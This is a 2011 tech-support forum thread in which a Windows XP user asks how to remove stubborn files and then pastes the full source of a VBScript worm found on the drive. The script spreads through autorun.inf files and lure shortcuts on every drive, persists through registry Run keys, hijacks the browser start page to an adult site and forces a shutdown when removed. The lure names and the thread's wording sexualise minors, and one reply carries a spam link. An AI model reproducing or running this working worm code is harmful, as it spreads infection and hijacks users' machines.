how to remove video from my HDD

March 9, 2011 at 15:38:07
Specs: Windows XP
How can I remove the teen nude videos on my hard drive, from windows xp. Thanks for the people who can help me...

See More: how to remove video from my HDD

Report •


#1
March 9, 2011 at 16:01:56
That's funny. Just look where you have them stored. Highlight them, right click and hit delete.

Report •

#2
March 9, 2011 at 16:08:27
I was greatly amused seeing the topics. If you really don't know how to delete then here is the trick. Just select the video and press SHIFT+DELETE. It will be deleted from your hard drive forever and won't go to recycle bin.
If you have large nude collection and in different folders and drives then you can search for them only if they share any common name. say you have tons of collection naming "nude teen video 1", "nude teen video 2" and so on. In this case you can search for nude teen video and then press CTRL+A. this will select all the found item and then press SHIFT+DELETE and you are done.
Download movie link

Report •

#3
March 10, 2011 at 04:32:02
actually every time i deleted, it's come back in few seconds, just want to show you the program and i have no time yet to figure it out....please see below i just open at note pad...

' ©2008 by Randolph G.
' All Rights Reserved

c0 = "=wscript ntv.vbs"

Const r1 = "\software\microsoft\windows\currentversion\run\DNSCache"
Const r2 = "\software\microsoft\internet explorer\main\Start Page"
Const s1 = "\ntv.vbs"
Const s2 = "\Nude Teen Videos.lnk"
Const s3 = "\autorun.inf"

Sub copy(s)
On Error Resume Next
Set x = fs.getfile(s)
x.Attributes = 0
Set x = Nothing
fs.copyfile s0, s, True
End Sub

Sub auto()
On Error Resume Next
fs.deletefile d3, True
Set x = fs.createtextfile(d3, True)
x.write c1
x.Close
Set x = Nothing
End Sub

Sub shortcut(s1, s2, s3, s4)
On Error Resume Next
Set x = ws.createshortcut(s1)
x.targetpath = s2
x.workingdirectory = s3
x.iconlocation = "shell32.dll," & s4
x.save
Set x = Nothing
End Sub

Sub fix1(s, n)
On Error Resume Next
Set x = fs.getfile(s)
If x.Attributes <> n Then x.Attributes = n
Set x = Nothing
End Sub

Sub fixall()
On Error Resume Next
fix1 d1, 7
fix1 d2, 1
fix1 d3, 7
End Sub

On Error Resume Next
Set ws = wscript.CreateObject("wscript.shell")
Set fs = CreateObject("scripting.filesystemobject")
s0 = wscript.scriptfullname
p1 = Left(s0, 3)
d1 = p1 & wscript.scriptname
If LCase(d1) = LCase(s0) Then ws.run "explorer " & p1
c1 = ""
c1 = c1 & "[autorun]" & vbCrLf
c1 = c1 & "shellexecute" & c0 & vbCrLf
c1 = c1 & "shell\open\command" & c0 & vbCrLf
c1 = c1 & "shell\explore\command" & c0
Set z1 = fs.drives
For Each z2 In z1
If z2.isready = True And z2.drivetype <> 5 Then
p1 = z2.Path
d1 = p1 & s1
d2 = p1 & s2
d3 = p1 & s3
copy d1
shortcut d2, d1, p1, "115"
auto
fixall
End If
Next
p1 = ws.specialfolders("templates")
d1 = p1 & "\adblock.cfg"
fs.deletefile d1, True
If fs.fileexists(d1) Then wscript.quit
Set f0 = fs.createtextfile(d1, True)
f0.write d1
su = ws.specialfolders("allusersstartup") & "\DNS Cache.lnk"
pc = wscript.Path
cc = pc & "\dns_cache.vbs"
d1 = p1 & "\adblock.dat"
v1 = "wscript.exe " & """" & cc & """"
v2 = "http://youngerbabes.com/"
copy cc
copy d1
s0 = d1
While True
wscript.sleep 2500
If fs.fileexists(s0) Then
copy cc
ElseIf fs.fileexists(cc) Then
fs.copyfile cc, s0
Else
ws.run "shutdown /s /t 00"
End If
fs.deletefile su, True
shortcut su, cc, pc, "13"
Set z1 = fs.drives
For Each z2 In z1
If z2.isready = True And z2.drivetype <> 5 Then
c2 = ""
p1 = z2.Path
d1 = p1 & s1
d2 = p1 & s2
d3 = p1 & s3
If Not fs.fileexists(d1) Then copy d1
If Not fs.fileexists(d2) Then shortcut d2, d1, p1, "115"
If fs.fileexists(d3) Then
Set tf = fs.opentextfile(d3, 1)
c2 = tf.readall
tf.Close
End If
If c1 <> c2 Then auto
fixall
End If
Next
ws.regwrite "HKCU" & r1, v1
ws.regwrite "HKLM" & r1, v1
ws.regwrite "HKCU" & r2, v2
Wend

' ©2008 by Randolph G.
' All Rights Reserved


Report •
Related Solutions


Ask Question